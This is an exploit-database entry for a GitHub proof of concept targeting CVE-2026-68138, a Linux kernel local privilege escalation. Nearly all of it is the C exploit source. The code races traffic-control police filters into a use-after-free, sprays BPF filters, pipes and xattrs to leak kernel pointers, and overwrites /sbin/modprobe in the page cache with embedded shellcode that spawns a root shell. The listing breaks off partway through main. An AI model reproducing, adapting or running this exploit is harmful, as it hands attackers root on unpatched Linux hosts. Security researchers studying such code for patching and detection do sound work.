Exploit database

GH-b60660dc132ea76d126d9ef672a1c2b3

aramosf/cve-2026-68138

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-68138

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files11
aramosf/cve-2026-68138Revision 730a7d365be7

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.c

Suggested starting fileC · 28,206 bytes
/*
 * Exploit Title: Linux Kernel CVE-2026-68138 - Local Privilege Escalation
 * Date: 2026-08-12
 * Exploit Author: A. Ramos <[email protected]> (@aramosf)
 * Discovery: Aldo Ariel Panzardo
 * Vendor Homepage: https://www.kernel.org/
 * Software Link: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git
 * Affected: Linux 5.1 through 7.1.5; Linux 7.2-rc1 through 7.2-rc4
 * Tested on: Linux x86-64, commit 92d3817649df, QEMU/KVM, 4 vCPU
 * Type: Local privilege escalation
 * CVE: CVE-2026-68138
 *
 * Upstream fix: https://git.kernel.org/linus/f43ee0c0730d6191629b5ee1ceae27b1ebfdc047
 * Original report: https://patch.msgid.link/[email protected]
 * Project: https://github.com/aramosf/CVE-2026-68138
 */
#define _GNU_SOURCE

#include <arpa/inet.h>
#include <elf.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/filter.h>
#include <linux/if_ether.h>
#include <linux/keyctl.h>
#include <linux/memfd.h>
#include <linux/netlink.h>
#include <linux/pkt_cls.h>
#include <linux/pkt_sched.h>
#include <linux/rtnetlink.h>
#include <net/if.h>
#include <pthread.h>
#include <sched.h>
#include <stdatomic.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <unistd.h>

#define RACE_THREADS 4
#define REQUEST_CAP 4096
#define FILTER_LEN 133
#define PRIMARY_COUNT 3000
#define SECONDARY_COUNT 512
#define PRIMARY_TAG 0x50000000U
#define SECONDARY_TAG 0x53000000U
#define PIPE_COUNT 128
#define PIPE_SLOTS 32
#define TARGET_SLOT 20
#define PIPE_BUF_SIZE 40
#define PIPE_RING_SIZE (PIPE_SLOTS * PIPE_BUF_SIZE)
#define XATTR_HEADER_SIZE 64
#define XATTR_VALUE_SIZE (PIPE_RING_SIZE - XATTR_HEADER_SIZE)
#define XATTR_COUNT 512
#define XATTR_MEMFDS 8

struct filter_socket {
	int fd;
	uint32_t marker;
};

struct target_pipe {
	int read_fd;
	int write_fd;
};

struct leaked_pipe_buffer {
	uint64_t page;
	uint32_t offset;
	uint32_t len;
	uint64_t ops;
	uint32_t flags;
	uint32_t padding;
	uint64_t private;
};

struct worker {
	int cpu;
	int netns_fd;
	unsigned long iterations;
	unsigned long expected_errors;
	unsigned long unexpected_errors;
	unsigned long created;
	unsigned int slot;
	struct filter_socket *sockets;
};

static pthread_barrier_t start_barrier;
static atomic_bool stop_workers;
static struct sock_filter filter_template[FILTER_LEN];
static struct target_pipe target_pipes[PIPE_COUNT];

extern const unsigned char helper_shellcode_start[];
extern const unsigned char helper_shellcode_end[];

__asm__(
".pushsection .rodata.helper_shellcode,\"a\",@progbits\n"
".global helper_shellcode_start\n"
".global helper_shellcode_end\n"
"helper_shellcode_start:\n"
"  xor %eax,%eax\n"
"  lea helper_path(%rip),%rdi\n"
"  lea helper_command(%rip),%rbx\n"
"  lea helper_dash_c(%rip),%rcx\n"
"  push %rax\n"
"  push %rbx\n"
"  push %rcx\n"
"  push %rdi\n"
"  mov %rsp,%rsi\n"
"  xor %edx,%edx\n"
"  mov $59,%eax\n"
"  syscall\n"
"  mov $60,%eax\n"
"  mov $111,%edi\n"
"  syscall\n"
"helper_path:\n"
"  .asciz \"/bin/sh\"\n"
"helper_dash_c:\n"
"  .asciz \"-c\"\n"
"helper_command:\n"
"  .asciz \"id > /chroot/exploit/CVE-2026-68138-root.txt; "
"echo '[+] CVE-2026-68138 initial-namespace root shell' > /dev/ttyS0; "
"id > /dev/ttyS0; exec /bin/bash -p < /dev/ttyS0 > /dev/ttyS0 2>&1\"\n"
"helper_shellcode_end:\n"
".popsection\n");

static int attach_filter(uint32_t marker);
static int read_filter_marker(int fd, uint32_t *marker,
			      struct sock_filter *dump);

static void die(const char *what)
{
	perror(what);
	exit(EXIT_FAILURE);
}

static void write_file(const char *path, const char *value)
{
	ssize_t len = (ssize_t)strlen(value);
	int fd = open(path, O_WRONLY);

	if (fd < 0)
		die(path);
	if (write(fd, value, (size_t)len) != len)
		die("write namespace map");
	close(fd);
}

static void enter_user_netns(void)
{
	char map[64];
	uid_t uid = getuid();
	gid_t gid = getgid();

	if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0)
		die("unshare(CLONE_NEWUSER|CLONE_NEWNET)");
	write_file("/proc/self/setgroups", "deny");
	snprintf(map, sizeof(map), "0 %u 1\n", uid);
	write_file("/proc/self/uid_map", map);
	snprintf(map, sizeof(map), "0 %u 1\n", gid);
	write_file("/proc/self/gid_map", map);
}

static void pin_to_cpu(int cpu)
{
	cpu_set_t set;

	CPU_ZERO(&set);
	CPU_SET(cpu, &set);
	if (sched_setaffinity(0, sizeof(set), &set) < 0)
		perror("sched_setaffinity");
}

static void loopback_up(void)
{
	struct ifreq ifr = {0};
	int fd = socket(AF_INET, SOCK_DGRAM, 0);

	if (fd < 0)
		die("socket(AF_INET)");
	strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1);
	if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0)
		die("SIOCGIFFLAGS(lo)");
	ifr.ifr_flags |= IFF_UP;
	if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
		die("SIOCSIFFLAGS(lo)");
	close(fd);
}

static void addattr(struct nlmsghdr *nh, size_t cap, unsigned short type,
		    const void *data, size_t len)
{
	size_t attr_len = RTA_LENGTH(len);
	size_t new_len = NLMSG_ALIGN(nh->nlmsg_len) + RTA_ALIGN(attr_len);
	struct rtattr *rta;

	if (new_len > cap) {
		errno = E2BIG;
		die("netlink request buffer");
	}
	rta = (struct rtattr *)((char *)nh + NLMSG_ALIGN(nh->nlmsg_len));
	rta->rta_type = type;
	rta->rta_len = (unsigned short)attr_len;
	if (len)
		memcpy(RTA_DATA(rta), data, len);
	nh->nlmsg_len = (unsigned int)new_len;
}

static struct rtattr *nest_start(struct nlmsghdr *nh, size_t cap,
				 unsigned short type)
{
	struct rtattr *nest;

	addattr(nh, cap, type, NULL, 0);
	nest = (struct rtattr *)((char *)nh + NLMSG_ALIGN(nh->nlmsg_len) -
				  RTA_ALIGN(RTA_LENGTH(0)));
	return nest;
}

static void nest_end(struct nlmsghdr *nh, struct rtattr *nest)
{
	nest->rta_len = (unsigned short)((char *)nh + NLMSG_ALIGN(nh->nlmsg_len) -
					  (char *)nest);
}

static int netlink_open(void)
{
	struct sockaddr_nl addr = {.nl_family = AF_NETLINK};
	struct timeval timeout = {.tv_sec = 0, .tv_usec = 500000};
	int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_ROUTE);

	if (fd < 0)
		die("socket(NETLINK_ROUTE)");
	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die("bind(NETLINK_ROUTE)");
	if (setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout)) < 0)
		die("setsockopt(NETLINK_ROUTE, SO_RCVTIMEO)");
	return fd;
}

static int send_request(int fd, struct nlmsghdr *nh, uint32_t seq)
{
	char response[8192];
	struct sockaddr_nl peer = {.nl_family = AF_NETLINK};
	struct iovec iov = {.iov_base = nh, .iov_len = nh->nlmsg_len};
	struct msghdr msg = {
		.msg_name = &peer,
		.msg_namelen = sizeof(peer),
		.msg_iov = &iov,
		.msg_iovlen = 1,
	};

	nh->nlmsg_seq = seq;
	if (sendmsg(fd, &msg, 0) < 0)
		return -errno;
	for (;;) {
		ssize_t got = recv(fd, response, sizeof(response), 0);
		struct nlmsghdr *reply;
		int remaining;

		if (got < 0) {
			if (errno == EINTR)
				continue;
			return -errno;
		}
		remaining = (int)got;
		for (reply = (struct nlmsghdr *)response;
		     NLMSG_OK(reply, remaining);
		     reply = NLMSG_NEXT(reply, remaining)) {
			struct nlmsgerr *err;

			if (reply->nlmsg_seq != seq ||
			    reply->nlmsg_type != NLMSG_ERROR)
				continue;
			err = NLMSG_DATA(reply);
			return err->error;
		}
	}
}

static void add_clsact_qdisc(unsigned int ifindex)
{
	struct {
		struct nlmsghdr nh;
		struct tcmsg tc;
		char attrs[256];
	} req = {0};
	int fd = netlink_open();
	int ret;

	req.nh.nlmsg_len = NLMSG_LENGTH(sizeof(req.tc));
	req.nh.nlmsg_type = RTM_NEWQDISC;
	req.nh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
	req.tc.tcm_family = AF_UNSPEC;
	req.tc.tcm_ifindex = (int)ifindex;
	req.tc.tcm_parent = TC_H_CLSACT;
	addattr(&req.nh, sizeof(req), TCA_KIND, "clsact", sizeof("clsact"));
	ret = send_request(fd, &req.nh, 1);
	if (ret && ret != -EEXIST) {
		errno = -ret;
		die("RTM_NEWQDISC(clsact)");
	}
	close(fd);
}

static void prepare_race_netns(struct worker *workers)
{
	unsigned int i;

	for (i = 0; i < RACE_THREADS; i++) {
		unsigned int ifindex;

		if (unshare(CLONE_NEWNET) < 0)
			die("unshare(CLONE_NEWNET)");
		loopback_up();
		ifindex = if_nametoindex("lo");
		if (!ifindex)
			die("if_nametoindex(lo)");
		add_clsact_qdisc(ifindex);
		workers[i].netns_fd = open("/proc/self/ns/net", O_RDONLY | O_CLOEXEC);
		if (workers[i].netns_fd < 0)
			die("open(/proc/self/ns/net)");
	}
}

static void init_filter(uint32_t marker, struct sock_filter *filter)
{
	unsigned int i;

	memset(filter, 0, FILTER_LEN * sizeof(*filter));
	/* tc_ratespec.cell_log=1, all other fields before rate are zero. */
	filter[0] = (struct sock_filter)BPF_STMT(BPF_LDX | BPF_W | BPF_IMM, 0);
	/* tc_ratespec.rate=6 and qdisc table word zero is non-zero. */
	filter[1] = (struct sock_filter)BPF_STMT(BPF_RET | BPF_K, 1);
	for (i = 2; i < FILTER_LEN - 1; i++)
		filter[i] = (struct sock_filter)BPF_STMT(BPF_LD | BPF_W | BPF_IMM, 0);
	/* offset 1040: qdisc_rate_table.next == NULL (instruction 130). */
	memset(&filter[130], 0, sizeof(filter[130]));
	/* offset 1048: qdisc_rate_table.refcnt == 0 (instruction 131). */
	memset(&filter[131], 0, sizeof(filter[131]));
	/* Marker is outside struct qdisc_rate_table, but survives SO_GET_FILTER. */
	filter[FILTER_LEN - 1] =
		(struct sock_filter)BPF_STMT(BPF_RET | BPF_K, marker);
}

static size_t build_filter_request(unsigned char *buffer, size_t cap,
				   unsigned int ifindex, uint32_t unique,
				   bool slow_holder)
{
	struct nlmsghdr *nh = (struct nlmsghdr *)buffer;
	struct tcmsg *tc = NLMSG_DATA(nh);
	struct rtattr *options, *actions, *action, *act_options;
	struct tc_police police = {0};
	struct tc_ratespec rate, peak_rate;
	/* interval=5 is deliberately invalid (the valid maximum is 3). */
	struct tc_estimator estimator = {.interval = 5, .ewma_log = 1};
	uint32_t rate_table[256];
	uint32_t peak_table[256];
	uint32_t cls_flags = TCA_CLS_FLAGS_SKIP_HW;
	/* Each worker owns its netns, so its filters can share one flower mask. */
	uint32_t hash_mask = 0xffffffffU;

	memset(buffer, 0, cap);
	memcpy(&rate, filter_template, sizeof(rate));
	memcpy(rate_table, (unsigned char *)filter_template + sizeof(rate),
	       sizeof(rate_table));
	peak_rate = rate;
	peak_rate.rate++;
	memcpy(peak_table, rate_table, sizeof(peak_table));
	peak_table[255] ^= 0x68138000U;
	nh->nlmsg_len = NLMSG_LENGTH(sizeof(*tc));
	nh->nlmsg_type = RTM_NEWTFILTER;
	nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
	tc->tcm_family = AF_UNSPEC;
	tc->tcm_ifindex = (int)ifindex;
	tc->tcm_parent = TC_H_MAKE(TC_H_CLSACT, TC_H_MIN_INGRESS);
	tc->tcm_info = TC_H_MAKE(1U << 16, htons(ETH_P_ALL));
	tc->tcm_handle = unique;
	addattr(nh, cap, TCA_KIND, "flower", sizeof("flower"));
	/* Only the holder supplies the invalid estimator. act_police has already
	 * acquired R_tab and P_tab when estimator validation fails, so its error
	 * path releases both tables while the other workers take the successful
	 * path. This makes the refcount/list race substantially more reliable.
	 */
	if (slow_holder)
		addattr(nh, cap, TCA_RATE, &estimator, sizeof(estimator));
	options = nest_start(nh, cap, TCA_OPTIONS);
	addattr(nh, cap, TCA_FLOWER_FLAGS, &cls_flags, sizeof(cls_flags));
	addattr(nh, cap, TCA_FLOWER_KEY_HASH, &unique, sizeof(unique));
	addattr(nh, cap, TCA_FLOWER_KEY_HASH_MASK, &hash_mask, sizeof(hash_mask));
	actions = nest_start(nh, cap, TCA_FLOWER_ACT);
	action = nest_start(nh, cap, 1);
	addattr(nh, cap, TCA_ACT_KIND, "police", sizeof("police"));
	act_options = nest_start(nh, cap, TCA_ACT_OPTIONS);
	police.action = TC_ACT_SHOT;
	police.mtu = 1500;
	police.burst = 4096;
	police.rate = rate;
	if (slow_holder)
		police.peakrate = peak_rate;
	addattr(nh, cap, TCA_POLICE_TBF, &police, sizeof(police));
	addattr(nh, cap, TCA_POLICE_RATE, rate_table, sizeof(rate_table));
	/* Worker 0 deliberately performs a second 1056-byte lookup/allocation
	 * after obtaining R_tab.  The other workers can free and reclaim R_tab
	 * while this worker still holds the stale pointer.
	 */
	if (slow_holder)
		addattr(nh, cap, TCA_POLICE_PEAKRATE, peak_table,
			sizeof(peak_table));
	/* Workers 1-3 keep their flower filters alive. Worker 0 deliberately
	 * reaches the action error path described above.
	 */
	nest_end(nh, act_options);
	nest_end(nh, action);
	nest_end(nh, actions);
	nest_end(nh, options);
	return nh->nlmsg_len;
}

static void *race_worker(void *opaque)
{
	struct worker *worker = opaque;
	unsigned char request[REQUEST_CAP];
	struct nlmsghdr *nh = (struct nlmsghdr *)request;
	cpu_set_t set;
	unsigned int ifindex = if_nametoindex("lo");
	uint32_t seq = 100;
	int fd;

	CPU_ZERO(&set);
	CPU_SET(worker->cpu, &set);
	(void)pthread_setaffinity_np(pthread_self(), sizeof(set), &set);
	if (setns(worker->netns_fd, CLONE_NEWNET) < 0)
		die("setns(race netns)");
	ifindex = if_nametoindex("lo");
	if (!ifindex)
		die("if_nametoindex(worker lo)");
	fd = netlink_open();
	pthread_barrier_wait(&start_barrier);
	while (!atomic_load_explicit(&stop_workers, memory_order_relaxed)) {
		uint32_t unique = ((uint32_t)(worker->cpu + 1) << 28) |
				  ((++seq) & 0x0fffffffU);
		uint32_t marker;
		unsigned int slot;
		int spray_fd;

		build_filter_request(request, sizeof(request), ifindex, unique,
				     worker->cpu == 0);
		int ret = send_request(fd, nh, seq);

		worker->iterations++;
		if (ret == 0)
			worker->expected_errors++;
		else if (ret)
			worker->unexpected_errors++;

		/* Do the controlled allocation before this CPU can allocate its next
		 * cls_fl_filter.  This gives a just-freed qdisc_rate_table slot to BPF
		 * instead of immediately recycling it as another flower filter.
		 */
		slot = worker->slot;
		marker = PRIMARY_TAG | slot;
		if (worker->sockets[slot].fd >= 0) {
			struct sock_filter dump[FILTER_LEN];
			uint32_t seen, qdisc_refcnt;

			if (!read_filter_marker(worker->sockets[slot].fd, &seen,
						dump)) {
				memcpy(&qdisc_refcnt, &dump[131],
				       sizeof(qdisc_refcnt));
				if (qdisc_refcnt != 0 ||
				    (seen != worker->sockets[slot].marker &&
				     (seen & 0xff000000U) == PRIMARY_TAG)) {
					printf("[+] live BPF/qdisc overlap on cpu%d slot=%u refcnt=%#x marker=%#x->%#x\n",
					       worker->cpu, slot, qdisc_refcnt,
					       worker->sockets[slot].marker, seen);
					atomic_store_explicit(&stop_workers, true,
							      memory_order_relaxed);
					break;
				}
			}
			close(worker->sockets[slot].fd);
			worker->sockets[slot].fd = -1;
		}
		spray_fd = attach_filter(marker);
		if (spray_fd < 0)
			break;
		worker->sockets[slot].fd = spray_fd;
		worker->sockets[slot].marker = marker;
		worker->created++;
		slot += RACE_THREADS;
		if (slot >= PRIMARY_COUNT)
			slot = (unsigned int)worker->cpu;
		worker->slot = slot;
	}
	close(fd);
	return NULL;
}

static int attach_filter(uint32_t marker)
{
	struct sock_filter filter[FILTER_LEN];
	struct sock_fprog program;
	int fd;

	init_filter(marker, filter);
	program.len = FILTER_LEN;
	program.filter = filter;
	fd = socket(AF_UNIX, SOCK_DGRAM | SOCK_CLOEXEC, 0);
	if (fd < 0)
		return -1;
	if (setsockopt(fd, SOL_SOCKET, SO_ATTACH_FILTER, &program,
		       sizeof(program)) < 0) {
		close(fd);
		return -1;
	}
	return fd;
}

static int read_filter_marker(int fd, uint32_t *marker,
			      struct sock_filter *dump)
{
	socklen_t len = FILTER_LEN;
	struct sock_filter local[FILTER_LEN];

	if (!dump)
		dump = local;
	memset(dump, 0, FILTER_LEN * sizeof(*dump));
	if (getsockopt(fd, SOL_SOCKET, SO_GET_FILTER, dump, &len) < 0)
		return -1;
	if (len != FILTER_LEN) {
		errno = EPROTO;
		return -1;
	}
	*marker = dump[FILTER_LEN - 1].k;
	return 0;
}

static off_t elf_entry_file_offset(int fd)
{
	Elf64_Ehdr eh;
	Elf64_Phdr *ph;
	off_t result = -1;
	unsigned int i;

	if (pread(fd, &eh, sizeof(eh), 0) != (ssize_t)sizeof(eh) ||
	    memcmp(eh.e_ident, ELFMAG, SELFMAG) ||
	    eh.e_ident[EI_CLASS] != ELFCLASS64)
		return -1;
	ph = calloc(eh.e_phnum, sizeof(*ph));
	if (!ph)
		die("calloc(ELF program headers)");
	if (pread(fd, ph, eh.e_phnum * sizeof(*ph), eh.e_phoff) !=
	    (ssize_t)(eh.e_phnum * sizeof(*ph)))
		goto out;
	for (i = 0; i < eh.e_phnum; i++) {
		if (ph[i].p_type == PT_LOAD && eh.e_entry >= ph[i].p_vaddr &&
		    eh.e_entry < ph[i].p_vaddr + ph[i].p_filesz) {
			result = (off_t)(ph[i].p_offset + eh.e_entry -
					 ph[i].p_vaddr);
			break;
		}
	}
out:
	free(ph);
	return result;
}

static int write_full(int fd, const void *buffer, size_t length)
{
	const unsigned char *cursor = buffer;

	while (length) {
		ssize_t written = write(fd, cursor, length);

		if (written < 0) {
			if (errno == EINTR)
				continue;
			return -1;
		}
		cursor += written;
		length -= (size_t)written;
	}
	return 0;
}

static size_t prepare_target_pipes(int target_fd, off_t entry_offset)
{
	unsigned char page[4096] = {0};
	size_t created = 0;
	unsigned int i, j;

	for (i = 0; i < PIPE_COUNT; i++) {
		int fds[2];
		off_t splice_offset = entry_offset - 1;

		pin_to_cpu((int)(i % RACE_THREADS));
		if (pipe2(fds, O_CLOEXEC) < 0)
			break;
		if (fcntl(fds[1], F_SETPIPE_SZ, PIPE_SLOTS * 4096) <
		    PIPE_SLOTS * 4096) {
			close(fds[0]);
			close(fds[1]);
			break;
		}
		for (j = 0; j < TARGET_SLOT; j++)
			if (write_full(fds[1], page, sizeof(page)) < 0)
				die("fill target pipe");
		if (splice(target_fd, &splice_offset, fds[1], NULL, 1, 0) != 1)
			die("splice(/sbin/modprobe)");
		target_pipes[i].read_fd = fds[0];
		target_pipes[i].write_fd = fds[1];
		created++;
	}
	return created;
}

static bool canonical_kernel_pointer(uint64_t pointer)
{
	return (pointer & 0xffff000000000000ULL) == 0xffff000000000000ULL;
}

static bool leak_pipe_from_dangling_filter(int fd, off_t entry_offset,
					  struct leaked_pipe_buffer *leak)
{
	struct sock_filter dump[FILTER_LEN];
	struct leaked_pipe_buffer candidate;
	uint32_t ignored;

	if (read_filter_marker(fd, &ignored, dump) < 0)
		return false;
	memcpy(&candidate, (unsigned char *)dump +
	       TARGET_SLOT * PIPE_BUF_SIZE, sizeof(candidate));
	if (!canonical_kernel_pointer(candidate.page) ||
	    !canonical_kernel_pointer(candidate.ops) ||
	    candidate.offset != (uint32_t)((entry_offset - 1) & 4095) ||
	    candidate.len != 1)
		return false;
	*leak = candidate;
	return true;
}

static void prepare_xattr_memfds(int memfds[XATTR_MEMFDS])
{
	unsigned int i;

	for (i = 0; i < XATTR_MEMFDS; i++) {
		memfds[i] = (int)syscall(SYS_memfd_create,
					 "cve68138-xattr", MFD_CLOEXEC);
		if (memfds[i] < 0)
			die("memfd_create(xattr spray)");
	}
}

static size_t spray_forged_xattrs(const struct leaked_pipe_buffer *leak,
				  const int memfds[XATTR_MEMFDS])
{
	unsigned char payload[XATTR_VALUE_SIZE];
	struct leaked_pipe_buffer forged = *leak;
	size_t created = 0;
	unsigned int i;

	memset(payload, 0, sizeof(payload));
	forged.flags |= 0x10; /* PIPE_BUF_FLAG_CAN_MERGE */
	memcpy(payload + TARGET_SLOT * PIPE_BUF_SIZE - XATTR_HEADER_SIZE,
	       &forged, sizeof(forged));
	for (i = 0; i < XATTR_COUNT; i++) {
		char name[32];

		pin_to_cpu((int)(i % RACE_THREADS));
		snprintf(name, sizeof(name), "user.cve68138_%03u", i);
		if (fsetxattr(memfds[i % XATTR_MEMFDS], name, payload,
			      sizeof(payload), XATTR_CREATE) < 0) {
			if (errno == ENOSPC || errno == E2BIG)
				break;
			die("fsetxattr(kmalloc-2k spray)");
		}
		created++;
	}
	return created;
}

static bool overwrite_modprobe_entry(int target_fd, off_t entry_offset,
				      size_t pipe_count, int target_cpu)
{
	const unsigned char *shellcode = helper_shellcode_start;
	size_t shellcode_size =
		(size_t)(helper_shellcode_end - helper_shellcode_start);
	unsigned char check[512];
	unsigned int i;

	if (shellcode_size > sizeof(check) ||
	    ((entry_offset & 4095) + shellcode_size) > 4096) {
		errno = E2BIG;
		die("helper shellcode does not fit target page");
	}
	for (i = 0; i < pipe_count; i++) {
		pin_to_cpu(target_cpu);
		if (write(target_pipes[i].write_fd, shellcode,
			  shellcode_size) < 0)
			continue;
		if (pread(target_fd, check, shellcode_size, entry_offset) ==
		    (ssize_t)shellcode_size &&
		    !memcmp(check, shellcode, shellcode_size)) {
			printf("[+] page-cache overwrite via dangling pipe[%u]\n", i);
			return true;
		}
	}
	return false;
}

static void trigger_modprobe(void)
{
	pid_t child;
	int i;

	child = fork();
	if (child < 0)
		die("fork(trigger)");
	if (child == 0) {
		/* Protocol 253 has no AF_INET datagram implementation in this
		 * kernel. inet_create() therefore invokes request_module() for its
		 * net-pf alias, which executes /sbin/modprobe in the initial user and
		 * mount namespaces.
		 */
		(void)socket(AF_INET, SOCK_DGRAM, 253);
		_exit(127);
	}
	printf("[+] net-pf module autoload triggered; waiting for initial-root helper\n");
	for (i = 0; i < 100; i++) {
		if (access("/exploit/CVE-2026-68138-root.txt", R_OK) == 0) {
			char proof[512] = {0};
			int proof_fd = open("/exploit/CVE-2026-68138-root.txt",
					    O_RDONLY);

			if (proof_fd >= 0) {
				ssize_t got = read(proof_fd, proof,
						   sizeof(proof) - 1);
				close(proof_fd);
				if (got > 0)
					printf("[+] ROOT PROOF: %s", proof);
			}
			return;
		}
		usleep(100000);
	}
	fprintf(stderr,
		"[-] helper did not create the root proof within 10 seconds\n");
}

static void close_filter_sockets(struct filter_socket *sockets, size_t count,
				 int except_fd1, int except_fd2)
{
	size_t i;

	for (i = 0; i < count; i++) {
		if (sockets[i].fd >= 0 && sockets[i].fd != except_fd1 &&
		    sockets[i].fd != except_fd2) {
			close(sockets[i].fd);
			sockets[i].fd = -1;
		}
	}
}

int main(void)
{
	struct filter_socket primary[PRIMARY_COUNT];
	struct filter_socket secondary[SECONDARY_COUNT];
	struct worker workers[RACE_THREADS] = {0};
	pthread_t threads[RACE_THREADS];
	struct leaked_pipe_buffer leak;
	int xattr_memfds[XATTR_MEMFDS];
	int dangling_fd = -1, owner_fd = -1;
	int owner_cpu = 0, target_fd;
	off_t entry_offset;
	size_t pipes_created, xattrs_created;
	size_t primary_created = 0, secondary_created = 0;
	unsigned int i;
	struct rlimit nofile = {.rlim_cur = 4096, .rlim_max = 4096};

	setvbuf(stdout, NULL, _IONBF, 0);
	if (setrlimit(RLIMIT_NOFILE, &nofile) < 0)
		die("setrlimit(RLIMIT_NOFILE)");
	memset(primary, 0xff, sizeof(primary));
	memset(secondary, 0xff, sizeof(secondary));
	printf("[*] CVE-2026-68138 BPF/qdisc overlap, outer uid=%u\n", getuid());
	init_filter(PRIMARY_TAG, filter_template);
	enter_user_netns();
	pin_to_cpu(0);
	prepare_race_netns(workers);
	if (pthread_barrier_init(&start_barrier, NULL, RACE_THREADS + 1))
		die("pthread_barrier_init");
	for (i = 0; i < RACE_THREADS; i++) {
		workers[i].cpu = (int)i;
		workers[i].slot = i;
		workers[i].sockets = primary;
		if (pthread_create(&threads[i], NULL, race_worker, &workers[i]))
			die("pthread_create");
	}
	pthread_barrier_wait(&start_barrier);
	printf("[+] qdisc race with successful flower filters and rotating same-CPU kmalloc-2k reclaim\n");
	for (i = 0; i < 300 &&
		     !atomic_load_explicit(&stop_workers, memory_order_relaxed); i++)
		usleep(10000);
	atomic_store_explicit(&stop_workers, true, memory_order_relaxed);
	for (i = 0; i < RACE_THREADS; i++)
		pthread_join(threads[i], NULL);
	/* Slots are striped across workers, so scan the full sparse array even if
	 * an overlap stops the run before the initial ring fill completes.
	 */
	primary_created = PRIMARY_COUNT;
	printf("[+] race stopped:");
	for (i = 0; i < RACE_THREADS; i++)
		printf(" cpu%u=%lu/%lu/%lu/spray%lu", i,
		       workers[i].iterations, workers[i].expected_errors,
		       workers[i].unexpected_errors,
		       workers[i].created);
	printf("\n");
	for (i = 0; i < SECONDARY_COUNT; i++) {
		uint32_t marker = SECONDARY_TAG | i;
		pin_to_cpu((int)(i % RACE_THREADS));
		int fd = attach_filter(marker);

		if (fd < 0)
			break;
		secondary[i].fd = fd;
		secondary[i].marker = marker;
		secondary_created++;
	}
	printf("[+] filters: primary=%zu secondary=%zu\n",
	       primary_created, secondary_created);
	for (i = 0; i < primary_created; i++) {
		uint32_t seen;
		struct sock_filter dump[FILTER_LEN];
		uint32_t qdisc_refcnt;

		if (primary[i].fd < 0 ||
		    read_filter_marker(primary[i].fd, &seen, dump) < 0)
			continue;
		memcpy(&qdisc_refcnt, &dump[131], sizeof(qdisc_refcnt));
		if (qdisc_refcnt != 0)
			printf("[+] qdisc touched primary[%u]: refcnt word=%#x marker=%#x\n",
			       i, qdisc_refcnt, seen);
		if ((seen & 0xff000000U) == PRIMARY_TAG &&
		    seen != primary[i].marker) {
			unsigned int owner = seen & 0x00ffffffU;

			if (owner < primary_created && primary[owner].marker == seen) {
				dangling_fd = primary[i].fd;
				owner_fd = primary[owner].fd;
				owner_cpu = (int)(owner % RACE_THREADS);
				printf("[+] overlap: primary[%u] -> primary[%u] marker=%#x\n",
				       i, owner, seen);
				break;
			}
		}
		if ((seen & 0xff000000U) == SECONDARY_TAG) {
			unsigned int owner = seen & 0x00ffffffU;

			if (owner < secondary_created &&
			    secondary[owner].marker == seen) {
				dangling_fd = primary[i].fd;
				owner_fd = secondary[owner].fd;
				owner_cpu = (int)(owner % RACE_THREADS);
				printf("[+] overlap: primary[%u] -> secondary[%u] marker=%#x\n",
				       i, owner, seen);
				break;
			}
		}
	}
	for (i = 0; dangling_fd < 0 && i < secondary_created; i++) {
		uint32_t seen;

		if (read_filter_marker(secondary[i].fd, &seen, NULL) < 0 ||
		    seen == secondary[i].marker)
			continue;
		if ((seen & 0xff000000U) == SECONDARY_TAG) {
			unsigned int owner = seen & 0x00ffffffU;

			if (owner < secondary_created &&
			    secondary[owner].marker == seen) {
				dangling_fd = secondary[i].fd;
				owner_fd = secondary[owner].fd;
				owner_cpu = (int)(owner % RACE_THREADS);
				printf("[+] overlap: secondary[%u] -> secondary[%u] marker=%#x\n",
				       i, owner, seen);
				break;
			}
		}
	}
	if (dangling_fd < 0) {
		fprintf(stderr, "[-] no BPF alias found in this attempt\n");
		close_filter_sockets(primary, primary_created, -1, -1);
		close_filter_sockets(secondary, secondary_created, -1, -1);
		return 2;
	}
	printf("[+] confirmed dangling orig_prog->filter pointer: fd=%d owner=%d\n",
	       dangling_fd, owner_fd);
	target_fd = open("/sbin/modprobe", O_RDONLY | O_CLOEXEC);
	if (target_fd < 0)
		die("open(/sbin/modprobe)");
	entry_offset = elf_entry_file_offset(target_fd);
	if (entry_offset <= 0)
		die("locate /sbin/modprobe ELF entry");
	printf("[+] /sbin/modprobe ELF entry: %#llx (page+%#llx)\n",
	       (unsigned long long)entry_offset,
	       (unsigned long long)(entry_offset & 4095));
	/* sk_filter_release_rcu() performs the actual free after close().  Keep all
	 * unrelated filters alive so their RCU callbacks cannot perturb this
	 * reclaim, and distribute allocations because the callback may run on any
	 * CPU.
	 */
	pin_to_cpu(owner_cpu);
	close(owner_fd);
	printf("[+] owner closed; waiting for sk_filter RCU release\n");
	usleep(1000000);
	printf("[+] reclaiming released BPF buffer with 32-slot pipe rings\n");
	pipes_created = prepare_target_pipes(target_fd, entry_offset);
	printf("[+] prepared target pipes: %zu\n", pipes_created);
	if (pipes_created < 16)
		die("insufficient pipe spray");
	if (!leak_pipe_from_dangling_filter(dangling_fd, entry_offset, &leak)) {
		fprintf(stderr, "[-] dangling BPF buffer was not reclaimed by a target pipe\n");
		return 3;
	}
	printf("[+] pipe leak: page=%#llx ops=%#llx off=%#x len=%u flags=%#x\n",
	       (unsigned long long)leak.page, (unsigned long long)leak.ops,
	       leak.offset, leak.len, leak.flags);
	prepare_xattr_memfds(xattr_memfds);
	pin_to_cpu(owner_cpu);
	close(dangling_fd);
